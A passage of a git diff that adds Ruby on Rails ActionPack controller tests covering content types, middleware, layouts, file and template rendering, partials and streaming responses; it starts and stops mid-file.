+ render :text => "Hello world!"
+ end
+
+ def set_on_render
+ render :text => "Hello world!", :content_type => Mime::RSS
+ end
+ end
+
+ class ImpliedController < ActionController::Base
+ # Template's mime type is used if no content_type is specified
+
+ self.view_paths = [ActionView::FixtureResolver.new(
+ "content_type/implied/i_am_html_erb.html.erb" => "Hello world!",
+ "content_type/implied/i_am_xml_erb.xml.erb" => "<xml>Hello world!</xml>",
+ "content_type/implied/i_am_html_builder.html.builder" => "xml.p 'Hello'",
+ "content_type/implied/i_am_xml_builder.xml.builder" => "xml.awesome 'Hello'"
+ )]
+ end
+
+ class CharsetController < ActionController::Base
+ def set_on_response_obj
+ response.charset = "utf-16"
+ render :text => "Hello world!"
+ end
+
+ def set_as_nil_on_response_obj
+ response.charset = nil
+ render :text => "Hello world!"
+ end
+ end
+
+ class ExplicitContentTypeTest < Rack::TestCase
+ test "default response is HTML and UTF8" do
+ with_routing do |set|
+ set.draw do
+ get ':controller', :action => 'index'
+ end
+
+ get "/content_type/base"
+
+ assert_body "Hello world!"
+ assert_header "Content-Type", "text/html; charset=utf-8"
+ end
+ end
+
+ test "setting the content type of the response directly on the response object" do
+ get "/content_type/base/set_on_response_obj"
+
+ assert_body "Hello world!"
+ assert_header "Content-Type", "application/rss+xml; charset=utf-8"
+ end
+
+ test "setting the content type of the response as an option to render" do
+ get "/content_type/base/set_on_render"
+
+ assert_body "Hello world!"
+ assert_header "Content-Type", "application/rss+xml; charset=utf-8"
+ end
+ end
+
+ class ImpliedContentTypeTest < Rack::TestCase
+ test "sets Content-Type as text/html when rendering *.html.erb" do
+ get "/content_type/implied/i_am_html_erb"
+
+ assert_header "Content-Type", "text/html; charset=utf-8"
+ end
+
+ test "sets Content-Type as application/xml when rendering *.xml.erb" do
+ get "/content_type/implied/i_am_xml_erb", "format" => "xml"
+
+ assert_header "Content-Type", "application/xml; charset=utf-8"
+ end
+
+ test "sets Content-Type as text/html when rendering *.html.builder" do
+ get "/content_type/implied/i_am_html_builder"
+
+ assert_header "Content-Type", "text/html; charset=utf-8"
+ end
+
+ test "sets Content-Type as application/xml when rendering *.xml.builder" do
+ get "/content_type/implied/i_am_xml_builder", "format" => "xml"
+
+ assert_header "Content-Type", "application/xml; charset=utf-8"
+ end
+ end
+
+ class ExplicitCharsetTest < Rack::TestCase
+ test "setting the charset of the response directly on the response object" do
+ get "/content_type/charset/set_on_response_obj"
+
+ assert_body "Hello world!"
+ assert_header "Content-Type", "text/html; charset=utf-16"
+ end
+
+ test "setting the charset of the response as nil directly on the response object" do
+ get "/content_type/charset/set_as_nil_on_response_obj"
+
+ assert_body "Hello world!"
+ assert_header "Content-Type", "text/html; charset=utf-8"
+ end
+ end
+end
diff --git a/actionpack/test/controller/new_base/metal_test.rb b/actionpack/test/controller/new_base/metal_test.rb
new file mode 100644
index 0000000..45a6619
--- /dev/null
+++ b/actionpack/test/controller/new_base/metal_test.rb
@@ -0,0 +1,45 @@
+require 'abstract_unit'
+
+module MetalTest
+ class MetalMiddleware < ActionController::Middleware
+ def call(env)
+ if env["PATH_INFO"] =~ /authed/
+ app.call(env)
+ else
+ [401, headers, "Not authed!"]
+ end
+ end
+ end
+
+ class Endpoint
+ def call(env)
+ [200, {}, "Hello World"]
+ end
+ end
+
+ class TestMiddleware < ActiveSupport::TestCase
+ include RackTestUtils
+
+ def setup
+ @app = Rack::Builder.new do
+ use MetalTest::MetalMiddleware
+ run MetalTest::Endpoint.new
+ end.to_app
+ end
+
+ test "it can call the next app by using @app" do
+ env = Rack::MockRequest.env_for("/authed")
+ response = @app.call(env)
+
+ assert_equal "Hello World", body_to_string(response[2])
+ end
+
+ test "it can return a response using the normal AC::Metal techniques" do
+ env = Rack::MockRequest.env_for("/")
+ response = @app.call(env)
+
+ assert_equal "Not authed!", body_to_string(response[2])
+ assert_equal 401, response[0]
+ end
+ end
+end
diff --git a/actionpack/test/controller/new_base/middleware_test.rb b/actionpack/test/controller/new_base/middleware_test.rb
new file mode 100644
index 0000000..6b7b5e1
--- /dev/null
+++ b/actionpack/test/controller/new_base/middleware_test.rb
@@ -0,0 +1,110 @@
+require 'abstract_unit'
+
+module MiddlewareTest
+ class MyMiddleware
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ result = @app.call(env)
+ result[1]["Middleware-Test"] = "Success"
+ result[1]["Middleware-Order"] = "First"
+ result
+ end
+ end
+
+ class ExclaimerMiddleware
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ result = @app.call(env)
+ result[1]["Middleware-Order"] << "!"
+ result
+ end
+ end
+
+ class BlockMiddleware
+ attr_accessor :configurable_message
+ def initialize(app, &block)
+ @app = app
+ yield(self) if block_given?
+ end
+
+ def call(env)
+ result = @app.call(env)
+ result[1]["Configurable-Message"] = configurable_message
+ result
+ end
+ end
+
+ class MyController < ActionController::Metal
+ use BlockMiddleware do |config|
+ config.configurable_message = "Configured by block."
+ end
+ use MyMiddleware
+ middleware.insert_before MyMiddleware, ExclaimerMiddleware
+
+ def index
+ self.response_body = "Hello World"
+ end
+ end
+
+ class InheritedController < MyController
+ end
+
+ class ActionsController < ActionController::Metal
+ use MyMiddleware, :only => :show
+ middleware.insert_before MyMiddleware, ExclaimerMiddleware, :except => :index
+
+ def index
+ self.response_body = "index"
+ end
+
+ def show
+ self.response_body = "show"
+ end
+ end
+
+ class TestMiddleware < ActiveSupport::TestCase
+ def setup
+ @app = MyController.action(:index)
+ end
+
+ test "middleware that is 'use'd is called as part of the Rack application" do
+ result = @app.call(env_for("/"))
+ assert_equal "Hello World", RackTestUtils.body_to_string(result[2])
+ assert_equal "Success", result[1]["Middleware-Test"]
+ end
+
+ test "the middleware stack is exposed as 'middleware' in the controller" do
+ result = @app.call(env_for("/"))
+ assert_equal "First!", result[1]["Middleware-Order"]
+ end
+
+ test "middleware stack accepts block arguments" do
+ result = @app.call(env_for("/"))
+ assert_equal "Configured by block.", result[1]["Configurable-Message"]
+ end
+
+ test "middleware stack accepts only and except as options" do
+ result = ActionsController.action(:show).call(env_for("/"))
+ assert_equal "First!", result[1]["Middleware-Order"]
+
+ result = ActionsController.action(:index).call(env_for("/"))
+ assert_nil result[1]["Middleware-Order"]
+ end
+
+ def env_for(url)
+ Rack::MockRequest.env_for(url)
+ end
+ end
+
+ class TestInheritedMiddleware < TestMiddleware
+ def setup
+ @app = InheritedController.action(:index)
+ end
+ end
+end
diff --git a/actionpack/test/controller/new_base/render_action_test.rb b/actionpack/test/controller/new_base/render_action_test.rb
new file mode 100644
index 0000000..475bf9d
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_action_test.rb
@@ -0,0 +1,315 @@
+require 'abstract_unit'
+
+module RenderAction
+ # This has no layout and it works
+ class BasicController < ActionController::Base
+ self.view_paths = [ActionView::FixtureResolver.new(
+ "render_action/basic/hello_world.html.erb" => "Hello world!"
+ )]
+
+ def hello_world
+ render :action => "hello_world"
+ end
+
+ def hello_world_as_string
+ render "hello_world"
+ end
+
+ def hello_world_as_string_with_options
+ render "hello_world", :status => 404
+ end
+
+ def hello_world_as_symbol
+ render :hello_world
+ end
+
+ def hello_world_with_symbol
+ render :action => :hello_world
+ end
+
+ def hello_world_with_layout
+ render :action => "hello_world", :layout => true
+ end
+
+ def hello_world_with_layout_false
+ render :action => "hello_world", :layout => false
+ end
+
+ def hello_world_with_layout_nil
+ render :action => "hello_world", :layout => nil
+ end
+
+ def hello_world_with_custom_layout
+ render :action => "hello_world", :layout => "greetings"
+ end
+
+ end
+
+ class RenderActionTest < Rack::TestCase
+ test "rendering an action using :action => <String>" do
+ get "/render_action/basic/hello_world"
+
+ assert_body "Hello world!"
+ assert_status 200
+ end
+
+ test "rendering an action using '<action>'" do
+ get "/render_action/basic/hello_world_as_string"
+
+ assert_body "Hello world!"
+ assert_status 200
+ end
+
+ test "rendering an action using '<action>' and options" do
+ get "/render_action/basic/hello_world_as_string_with_options"
+
+ assert_body "Hello world!"
+ assert_status 404
+ end
+
+ test "rendering an action using :action" do
+ get "/render_action/basic/hello_world_as_symbol"
+
+ assert_body "Hello world!"
+ assert_status 200
+ end
+
+ test "rendering an action using :action => :hello_world" do
+ get "/render_action/basic/hello_world_with_symbol"
+
+ assert_body "Hello world!"
+ assert_status 200
+ end
+ end
+
+ class RenderLayoutTest < Rack::TestCase
+ def setup
+ end
+
+ test "rendering with layout => true" do
+ assert_raise(ArgumentError) do
+ get "/render_action/basic/hello_world_with_layout", {}, "action_dispatch.show_exceptions" => false
+ end
+ end
+
+ test "rendering with layout => false" do
+ get "/render_action/basic/hello_world_with_layout_false"
+
+ assert_body "Hello world!"
+ assert_status 200
+ end
+
+ test "rendering with layout => :nil" do
+ get "/render_action/basic/hello_world_with_layout_nil"
+
+ assert_body "Hello world!"
+ assert_status 200
+ end
+
+ test "rendering with layout => 'greetings'" do
+ assert_raise(ActionView::MissingTemplate) do
+ get "/render_action/basic/hello_world_with_custom_layout", {}, "action_dispatch.show_exceptions" => false
+ end
+ end
+ end
+end
+
+module RenderActionWithApplicationLayout
+ # # ==== Render actions with layouts ====
+ class BasicController < ::ApplicationController
+ # Set the view path to an application view structure with layouts
+ self.view_paths = [ActionView::FixtureResolver.new(
+ "render_action_with_application_layout/basic/hello_world.html.erb" => "Hello World!",
+ "render_action_with_application_layout/basic/hello.html.builder" => "xml.p 'Hello'",
+ "layouts/application.html.erb" => "Hi <%= yield %> OK, Bye",
+ "layouts/greetings.html.erb" => "Greetings <%= yield %> Bye",
+ "layouts/builder.html.builder" => "xml.html do\n xml << yield\nend"
+ )]
+
+ def hello_world
+ render :action => "hello_world"
+ end
+
+ def hello_world_with_layout
+ render :action => "hello_world", :layout => true
+ end
+
+ def hello_world_with_layout_false
+ render :action => "hello_world", :layout => false
+ end
+
+ def hello_world_with_layout_nil
+ render :action => "hello_world", :layout => nil
+ end
+
+ def hello_world_with_custom_layout
+ render :action => "hello_world", :layout => "greetings"
+ end
+
+ def with_builder_and_layout
+ render :action => "hello", :layout => "builder"
+ end
+ end
+
+ class LayoutTest < Rack::TestCase
+ test "rendering implicit application.html.erb as layout" do
+ get "/render_action_with_application_layout/basic/hello_world"
+
+ assert_body "Hi Hello World! OK, Bye"
+ assert_status 200
+ end
+
+ test "rendering with layout => true" do
+ get "/render_action_with_application_layout/basic/hello_world_with_layout"
+
+ assert_body "Hi Hello World! OK, Bye"
+ assert_status 200
+ end
+
+ test "rendering with layout => false" do
+ get "/render_action_with_application_layout/basic/hello_world_with_layout_false"
+
+ assert_body "Hello World!"
+ assert_status 200
+ end
+
+ test "rendering with layout => :nil" do
+ get "/render_action_with_application_layout/basic/hello_world_with_layout_nil"
+
+ assert_body "Hello World!"
+ assert_status 200
+ end
+
+ test "rendering with layout => 'greetings'" do
+ get "/render_action_with_application_layout/basic/hello_world_with_custom_layout"
+
+ assert_body "Greetings Hello World! Bye"
+ assert_status 200
+ end
+ end
+
+ class TestLayout < Rack::TestCase
+ testing BasicController
+
+ test "builder works with layouts" do
+ get :with_builder_and_layout
+ assert_response "<html>\n<p>Hello</p>\n</html>\n"
+ end
+ end
+
+end
+
+module RenderActionWithControllerLayout
+ class BasicController < ActionController::Base
+ self.view_paths = [ActionView::FixtureResolver.new(
+ "render_action_with_controller_layout/basic/hello_world.html.erb" => "Hello World!",
+ "layouts/render_action_with_controller_layout/basic.html.erb" => "With Controller Layout! <%= yield %> Bye"
+ )]
+
+ def hello_world
+ render :action => "hello_world"
+ end
+
+ def hello_world_with_layout
+ render :action => "hello_world", :layout => true
+ end
+
+ def hello_world_with_layout_false
+ render :action => "hello_world", :layout => false
+ end
+
+ def hello_world_with_layout_nil
+ render :action => "hello_world", :layout => nil
+ end
+
+ def hello_world_with_custom_layout
+ render :action => "hello_world", :layout => "greetings"
+ end
+ end
+
+ class ControllerLayoutTest < Rack::TestCase
+ test "render hello_world and implicitly use <controller_path>.html.erb as a layout." do
+ get "/render_action_with_controller_layout/basic/hello_world"
+
+ assert_body "With Controller Layout! Hello World! Bye"
+ assert_status 200
+ end
+
+ test "rendering with layout => true" do
+ get "/render_action_with_controller_layout/basic/hello_world_with_layout"
+
+ assert_body "With Controller Layout! Hello World! Bye"
+ assert_status 200
+ end
+
+ test "rendering with layout => false" do
+ get "/render_action_with_controller_layout/basic/hello_world_with_layout_false"
+
+ assert_body "Hello World!"
+ assert_status 200
+ end
+
+ test "rendering with layout => :nil" do
+ get "/render_action_with_controller_layout/basic/hello_world_with_layout_nil"
+
+ assert_body "Hello World!"
+ assert_status 200
+ end
+ end
+end
+
+module RenderActionWithBothLayouts
+ class BasicController < ActionController::Base
+ self.view_paths = [ActionView::FixtureResolver.new({
+ "render_action_with_both_layouts/basic/hello_world.html.erb" => "Hello World!",
+ "layouts/application.html.erb" => "Oh Hi <%= yield %> Bye",
+ "layouts/render_action_with_both_layouts/basic.html.erb" => "With Controller Layout! <%= yield %> Bye"
+ })]
+
+ def hello_world
+ render :action => "hello_world"
+ end
+
+ def hello_world_with_layout
+ render :action => "hello_world", :layout => true
+ end
+
+ def hello_world_with_layout_false
+ render :action => "hello_world", :layout => false
+ end
+
+ def hello_world_with_layout_nil
+ render :action => "hello_world", :layout => nil
+ end
+ end
+
+ class ControllerLayoutTest < Rack::TestCase
+ test "rendering implicitly use <controller_path>.html.erb over application.html.erb as a layout" do
+ get "/render_action_with_both_layouts/basic/hello_world"
+
+ assert_body "With Controller Layout! Hello World! Bye"
+ assert_status 200
+ end
+
+ test "rendering with layout => true" do
+ get "/render_action_with_both_layouts/basic/hello_world_with_layout"
+
+ assert_body "With Controller Layout! Hello World! Bye"
+ assert_status 200
+ end
+
+ test "rendering with layout => false" do
+ get "/render_action_with_both_layouts/basic/hello_world_with_layout_false"
+
+ assert_body "Hello World!"
+ assert_status 200
+ end
+
+ test "rendering with layout => :nil" do
+ get "/render_action_with_both_layouts/basic/hello_world_with_layout_nil"
+
+ assert_body "Hello World!"
+ assert_status 200
+ end
+ end
+end
diff --git a/actionpack/test/controller/new_base/render_context_test.rb b/actionpack/test/controller/new_base/render_context_test.rb
new file mode 100644
index 0000000..177a1c0
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_context_test.rb
@@ -0,0 +1,54 @@
+require 'abstract_unit'
+
+# This is testing the decoupling of view renderer and view context
+# by allowing the controller to be used as view context. This is
+# similar to the way sinatra renders templates.
+module RenderContext
+ class BasicController < ActionController::Base
+ self.view_paths = [ActionView::FixtureResolver.new(
+ "render_context/basic/hello_world.html.erb" => "<%= @value %> from <%= self.__controller_method__ %>",
+ "layouts/basic.html.erb" => "?<%= yield %>?"
+ )]
+
+ # 1) Include ActionView::Context to bring the required dependencies
+ include ActionView::Context
+
+ # 2) Call _prepare_context that will do the required initialization
+ before_action :_prepare_context
+
+ def hello_world
+ @value = "Hello"
+ render :action => "hello_world", :layout => false
+ end
+
+ def with_layout
+ @value = "Hello"
+ render :action => "hello_world", :layout => "basic"
+ end
+
+ protected
+
+ # 3) Set view_context to self
+ def view_context
+ self
+ end
+
+ def __controller_method__
+ "controller context!"
+ end
+ end
+
+ class RenderContextTest < Rack::TestCase
+ test "rendering using the controller as context" do
+ get "/render_context/basic/hello_world"
+ assert_body "Hello from controller context!"
+ assert_status 200
+ end
+
+ test "rendering using the controller as context with layout" do
+ get "/render_context/basic/with_layout"
+ assert_body "?Hello from controller context!?"
+ assert_status 200
+ end
+ end
+end
diff --git a/actionpack/test/controller/new_base/render_file_test.rb b/actionpack/test/controller/new_base/render_file_test.rb
new file mode 100644
index 0000000..a961cbf
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_file_test.rb
@@ -0,0 +1,99 @@
+require 'abstract_unit'
+
+module RenderFile
+ class BasicController < ActionController::Base
+ self.view_paths = File.dirname(__FILE__)
+
+ def index
+ render :file => File.join(File.dirname(__FILE__), *%w[.. .. fixtures test hello_world])
+ end
+
+ def with_instance_variables
+ @secret = 'in the sauce'
+ render :file => File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_ivar')
+ end
+
+ def without_file_key
+ render File.join(File.dirname(__FILE__), *%w[.. .. fixtures test hello_world])
+ end
+
+ def without_file_key_with_instance_variable
+ @secret = 'in the sauce'
+ render File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_ivar')
+ end
+
+ def relative_path
+ @secret = 'in the sauce'
+ render :file => '../../fixtures/test/render_file_with_ivar'
+ end
+
+ def relative_path_with_dot
+ @secret = 'in the sauce'
+ render :file => '../../fixtures/test/dot.directory/render_file_with_ivar'
+ end
+
+ def pathname
+ @secret = 'in the sauce'
+ render :file => Pathname.new(File.dirname(__FILE__)).join(*%w[.. .. fixtures test dot.directory render_file_with_ivar])
+ end
+
+ def with_locals
+ path = File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_locals')
+ render :file => path, :locals => {:secret => 'in the sauce'}
+ end
+
+ def without_file_key_with_locals
+ path = FIXTURES.join('test/render_file_with_locals').to_s
+ render path, :locals => {:secret => 'in the sauce'}
+ end
+ end
+
+ class TestBasic < Rack::TestCase
+ testing RenderFile::BasicController
+
+ test "rendering simple template" do
+ get :index
+ assert_response "Hello world!"
+ end
+
+ test "rendering template with ivar" do
+ get :with_instance_variables
+ assert_response "The secret is in the sauce\n"
+ end
+
+ test "rendering path without specifying the :file key" do
+ get :without_file_key
+ assert_response "Hello world!"
+ end
+
+ test "rendering path without specifying the :file key with ivar" do
+ get :without_file_key_with_instance_variable
+ assert_response "The secret is in the sauce\n"
+ end
+
+ test "rendering a relative path" do
+ get :relative_path
+ assert_response "The secret is in the sauce\n"
+ end
+
+ test "rendering a relative path with dot" do
+ get :relative_path_with_dot
+ assert_response "The secret is in the sauce\n"
+ end
+
+ test "rendering a Pathname" do
+ get :pathname
+ assert_response "The secret is in the sauce\n"
+ end
+
+ test "rendering file with locals" do
+ get :with_locals
+ assert_response "The secret is in the sauce\n"
+ end
+
+ test "rendering path without specifying the :file key with locals" do
+ get :without_file_key_with_locals
+ assert_response "The secret is in the sauce\n"
+ end
+ end
+end
diff --git a/actionpack/test/controller/new_base/render_implicit_action_test.rb b/actionpack/test/controller/new_base/render_implicit_action_test.rb
new file mode 100644
index 0000000..1e2191d
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_implicit_action_test.rb
@@ -0,0 +1,42 @@
+require 'abstract_unit'
+
+module RenderImplicitAction
+ class SimpleController < ::ApplicationController
+ self.view_paths = [ActionView::FixtureResolver.new(
+ "render_implicit_action/simple/hello_world.html.erb" => "Hello world!",
+ "render_implicit_action/simple/hyphen-ated.html.erb" => "Hello hyphen-ated!",
+ "render_implicit_action/simple/not_implemented.html.erb" => "Not Implemented"
+ )]
+
+ def hello_world() end
+ end
+
+ class RenderImplicitActionTest < Rack::TestCase
+ test "render a simple action with new explicit call to render" do
+ get "/render_implicit_action/simple/hello_world"
+
+ assert_body "Hello world!"
+ assert_status 200
+ end
+
+ test "render an action with a missing method and has special characters" do
+ get "/render_implicit_action/simple/hyphen-ated"
+
+ assert_body "Hello hyphen-ated!"
+ assert_status 200
+ end
+
+ test "render an action called not_implemented" do
+ get "/render_implicit_action/simple/not_implemented"
+
+ assert_body "Not Implemented"
+ assert_status 200
+ end
+
+ test "available_action? returns true for implicit actions" do
+ assert SimpleController.new.available_action?(:hello_world)
+ assert SimpleController.new.available_action?(:"hyphen-ated")
+ assert SimpleController.new.available_action?(:not_implemented)
+ end
+ end
+end
diff --git a/actionpack/test/controller/new_base/render_layout_test.rb b/actionpack/test/controller/new_base/render_layout_test.rb
new file mode 100644
index 0000000..4ac40ca
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_layout_test.rb
@@ -0,0 +1,127 @@
+require 'abstract_unit'
+
+module ControllerLayouts
+ class ImplicitController < ::ApplicationController
+ self.view_paths = [ActionView::FixtureResolver.new(
+ "layouts/application.html.erb" => "Main <%= yield %> Layout",
+ "layouts/override.html.erb" => "Override! <%= yield %>",
+ "basic.html.erb" => "Hello world!",
+ "controller_layouts/implicit/layout_false.html.erb" => "hi(layout_false.html.erb)"
+ )]
+
+ def index
+ render :template => "basic"
+ end
+
+ def override
+ render :template => "basic", :layout => "override"
+ end
+
+ def layout_false
+ render :layout => false
+ end
+
+ def builder_override
+ end
+ end
+
+ class ImplicitNameController < ::ApplicationController
+ self.view_paths = [ActionView::FixtureResolver.new(
+ "layouts/controller_layouts/implicit_name.html.erb" => "Implicit <%= yield %> Layout",
+ "basic.html.erb" => "Hello world!"
+ )]
+
+ def index
+ render :template => "basic"
+ end
+ end
+
+ class RenderLayoutTest < Rack::TestCase
+ test "rendering a normal template, but using the implicit layout" do
+ get "/controller_layouts/implicit/index"
+
+ assert_body "Main Hello world! Layout"
+ assert_status 200
+ end
+
+ test "rendering a normal template, but using an implicit NAMED layout" do
+ get "/controller_layouts/implicit_name/index"
+
+ assert_body "Implicit Hello world! Layout"
+ assert_status 200
+ end
+
+ test "overriding an implicit layout with render :layout option" do
+ get "/controller_layouts/implicit/override"
+ assert_body "Override! Hello world!"
+ end
+
+ end
+
+ class LayoutOptionsTest < Rack::TestCase
+ testing ControllerLayouts::ImplicitController
+
+ test "rendering with :layout => false leaves out the implicit layout" do
+ get :layout_false
+ assert_response "hi(layout_false.html.erb)"
+ end
+ end
+
+ class MismatchFormatController < ::ApplicationController
+ self.view_paths = [ActionView::FixtureResolver.new(
+ "layouts/application.html.erb" => "<html><%= yield %></html>",
+ "controller_layouts/mismatch_format/index.xml.builder" => "xml.instruct!",
+ "controller_layouts/mismatch_format/implicit.builder" => "xml.instruct!",
+ "controller_layouts/mismatch_format/explicit.js.erb" => "alert('foo');"
+ )]
+
+ def explicit
+ render :layout => "application"
+ end
+ end
+
+ class MismatchFormatTest < Rack::TestCase
+ testing ControllerLayouts::MismatchFormatController
+
+ XML_INSTRUCT = %Q(<?xml version="1.0" encoding="UTF-8"?>\n)
+
+ test "if XML is selected, an HTML template is not also selected" do
+ get :index, :format => "xml"
+ assert_response XML_INSTRUCT
+ end
+
+ test "if XML is implicitly selected, an HTML template is not also selected" do
+ get :implicit
+ assert_response XML_INSTRUCT
+ end
+
+ test "a layout for JS is ignored even if explicitly provided for HTML" do
+ get :explicit, { :format => "js" }
+ assert_response "alert('foo');"
+ end
+ end
+
+ class FalseLayoutMethodController < ::ApplicationController
+ self.view_paths = [ActionView::FixtureResolver.new(
+ "controller_layouts/false_layout_method/index.js.erb" => "alert('foo');"
+ )]
+
+ layout :which_layout?
+
+ def which_layout?
+ false
+ end
+
+ def index
+ end
+ end
+
+ class FalseLayoutMethodTest < Rack::TestCase
+ testing ControllerLayouts::FalseLayoutMethodController
+
+ test "access false layout returned by a method/proc" do
+ get :index, :format => "js"
+ assert_response "alert('foo');"
+ end
+ end
+end
diff --git a/actionpack/test/controller/new_base/render_partial_test.rb b/actionpack/test/controller/new_base/render_partial_test.rb
new file mode 100644
index 0000000..9e5022c
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_partial_test.rb
@@ -0,0 +1,63 @@
+require 'abstract_unit'
+
+module RenderPartial
+
+ class BasicController < ActionController::Base
+
+ self.view_paths = [ActionView::FixtureResolver.new(
+ "render_partial/basic/_basic.html.erb" => "BasicPartial!",
+ "render_partial/basic/basic.html.erb" => "<%= @test_unchanged = 'goodbye' %><%= render :partial => 'basic' %><%= @test_unchanged %>",
+ "render_partial/basic/with_json.html.erb" => "<%= render :partial => 'with_json', :formats => [:json] %>",
+ "render_partial/basic/_with_json.json.erb" => "<%= render :partial => 'final', :formats => [:json] %>",
+ "render_partial/basic/_final.json.erb" => "{ final: json }",
+ "render_partial/basic/overridden.html.erb" => "<%= @test_unchanged = 'goodbye' %><%= render :partial => 'overridden' %><%= @test_unchanged %>",
+ "render_partial/basic/_overridden.html.erb" => "ParentPartial!",
+ "render_partial/child/_overridden.html.erb" => "OverriddenPartial!"
+ )]
+
+ def html_with_json_inside_json
+ render :action => "with_json"
+ end
+
+ def changing
+ @test_unchanged = 'hello'
+ render :action => "basic"
+ end
+
+ def overridden
+ @test_unchanged = 'hello'
+ end
+ end
+
+ class ChildController < BasicController; end
+
+ class TestPartial < Rack::TestCase
+ testing BasicController
+
+ test "rendering a partial in ActionView doesn't pull the ivars again from the controller" do
+ get :changing
+ assert_response("goodbyeBasicPartial!goodbye")
+ end
+
+ test "rendering a template with renders another partial with other format that renders other partial in the same format" do
+ get :html_with_json_inside_json
+ assert_content_type "text/html; charset=utf-8"
+ assert_response "{ final: json }"
+ end
+ end
+
+ class TestInheritedPartial < Rack::TestCase
+ testing ChildController
+
+ test "partial from parent controller gets picked if missing in child one" do
+ get :changing
+ assert_response("goodbyeBasicPartial!goodbye")
+ end
+
+ test "partial from child controller gets picked" do
+ get :overridden
+ assert_response("goodbyeOverriddenPartial!goodbye")
+ end
+ end
+
+end
diff --git a/actionpack/test/controller/new_base/render_streaming_test.rb b/actionpack/test/controller/new_base/render_streaming_test.rb
new file mode 100644
index 0000000..f4bdd3e
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_streaming_test.rb
@@ -0,0 +1,114 @@
+require 'abstract_unit'
+
+module RenderStreaming
+ class BasicController < ActionController::Base
+ self.view_paths = [ActionView::FixtureResolver.new(
+ "render_streaming/basic/hello_world.html.erb" => "Hello world",
+ "render_streaming/basic/boom.html.erb" => "<%= nil.invalid! %>",
+ "layouts/application.html.erb" => "<%= yield %>, I'm here!",
+ "layouts/boom.html.erb" => "<body class=\"<%= nil.invalid! %>\"<%= yield %></body>"
+ )]
+
+ layout "application"
+
+ def hello_world
+ render :stream => true
+ end
+
+ def layout_exception
+ render :action => "hello_world", :stream => true, :layout => "boom"
+ end
+
+ def template_exception
+ render :action => "boom", :stream => true
+ end
+
+ def skip
+ render :action => "hello_world", :stream => false
+ end
+
+ def explicit
+ render :action => "hello_world", :stream => true
+ end
+
+ def no_layout
+ render :action => "hello_world", :stream => true, :layout => false
+ end
+
+ def explicit_cache
+ headers["Cache-Control"] = "private"
+ render :action => "hello_world", :stream => true
+ end
+ end
+
+ class StreamingTest < Rack::TestCase
+ test "rendering with streaming enabled at the class level" do
+ get "/render_streaming/basic/hello_world"
+ assert_body "b\r\nHello world\r\nb\r\n, I'm here!\r\n0\r\n\r\n"
+ assert_streaming!
+ end
+
+ test "rendering with streaming given to render" do
+ get "/render_streaming/basic/explicit"
+ assert_body "b\r\nHello world\r\nb\r\n, I'm here!\r\n0\r\n\r\n"
+ assert_streaming!
+ end
+
+ test "rendering with streaming do not override explicit cache control given to render" do
+ get "/render_streaming/basic/explicit_cache"
+ assert_body "b\r\nHello world\r\nb\r\n, I'm here!\r\n0\r\n\r\n"
+ assert_streaming! "private"
+ end
+
+ test "rendering with streaming no layout" do
+ get "/render_streaming/basic/no_layout"
+ assert_body "b\r\nHello world\r\n0\r\n\r\n"
+ assert_streaming!
+ end
+
+ test "skip rendering with streaming at render level" do
+ get "/render_streaming/basic/skip"
+ assert_body "Hello world, I'm here!"
+ end
+
+ test "rendering with layout exception" do
+ get "/render_streaming/basic/layout_exception"
+ assert_body "d\r\n<body class=\"\r\n37\r\n\"><script>window.location = \"/500.html\"</script></html>\r\n0\r\n\r\n"
+ assert_streaming!
+ end
+
+ test "rendering with template exception" do
+ get "/render_streaming/basic/template_exception"
+ assert_body "37\r\n\"><script>window.location = \"/500.html\"</script></html>\r\n0\r\n\r\n"
+ assert_streaming!
+ end
+
+ test "rendering with template exception logs the exception" do
+ io = StringIO.new
+ _old, ActionView::Base.logger = ActionView::Base.logger, ActiveSupport::Logger.new(io)
+
+ begin
+ get "/render_streaming/basic/template_exception"
+ io.rewind
+ assert_match "(undefined method `invalid!' for nil:NilClass)", io.read
+ ensure
+ ActionController::Base.logger = _old
+ end
+ end
+
+ test "do not stream on HTTP/1.0" do
+ get "/render_streaming/basic/hello_world", nil, "HTTP_VERSION" => "HTTP/1.0"
+ assert_body "Hello world, I'm here!"
+ assert_status 200
+ assert_equal "22", headers["Content-Length"]
+ assert_equal nil, headers["Transfer-Encoding"]
+ end
+
+ def assert_streaming!(cache="no-cache")
+ assert_status 200
+ assert_equal nil, headers["Content-Length"]
+ assert_equal "chunked", headers["Transfer-Encoding"]
+ assert_equal cache, headers["Cache-Control"]
+ end
+ end
+end
diff --git a/actionpack/test/controller/new_base/render_template_test.rb b/actionpack/test/controller/new_base/render_template_test.rb
new file mode 100644
index 0000000..6b2ae2b
--- /dev/null
+++ b/actionpack/test/controller/new_base/render_template_test.rb
@@ -0,0 +1,230 @@
+require 'abstract_unit'
+
+module RenderTemplate
+ class WithoutLayoutController < ActionController::Base
+
+ self.view_paths = [ActionView::FixtureResolver.new(
+ "test/basic.html.erb" => "Hello from basic.html.erb",
+ "shared.html.erb" => "Elastica",
+ "locals.html.erb" => "The secret is <%= secret %>",
+ "xml_template.xml.builder" => "xml.html do\n xml.p 'Hello'\nend",
+ "with_raw.html.erb" => "Hello <%=raw '<strong>this is raw</strong>' %>",
+ "with_implicit_raw.html.erb" => "Hello <%== '<strong>this is also raw</strong>' %> in a html template",
+ "with_implicit_raw.text.erb" => "Hello <%== '<strong>this is also raw</strong>' %> in a text template",
+ "test/with_json.html.erb" => "<%= render :template => 'test/with_json', :formats => [:json] %>",
+ "test/with_json.json.erb" => "<%= render :template => 'test/final', :formats => [:json] %>",
+ "test/final.json.erb" => "{ final: json }",
+ "test/with_error.html.erb" => "<%= idontexist %>"
+ )]
+
+ def index
+ render :template => "test/basic"
+ end
+
+ def html_with_json_inside_json
+ render :template => "test/with_json"
+ end
+
+ def index_without_key
+ render "test/basic"
+ end
+
+ def in_top_directory
+ render :template => 'shared'
+ end
+
+ def in_top_directory_with_slash
+ render :template => '/shared'
+ end
+
+ def in_top_directory_with_slash_without_key
+ render '/shared'
+ end
+
+ def with_locals
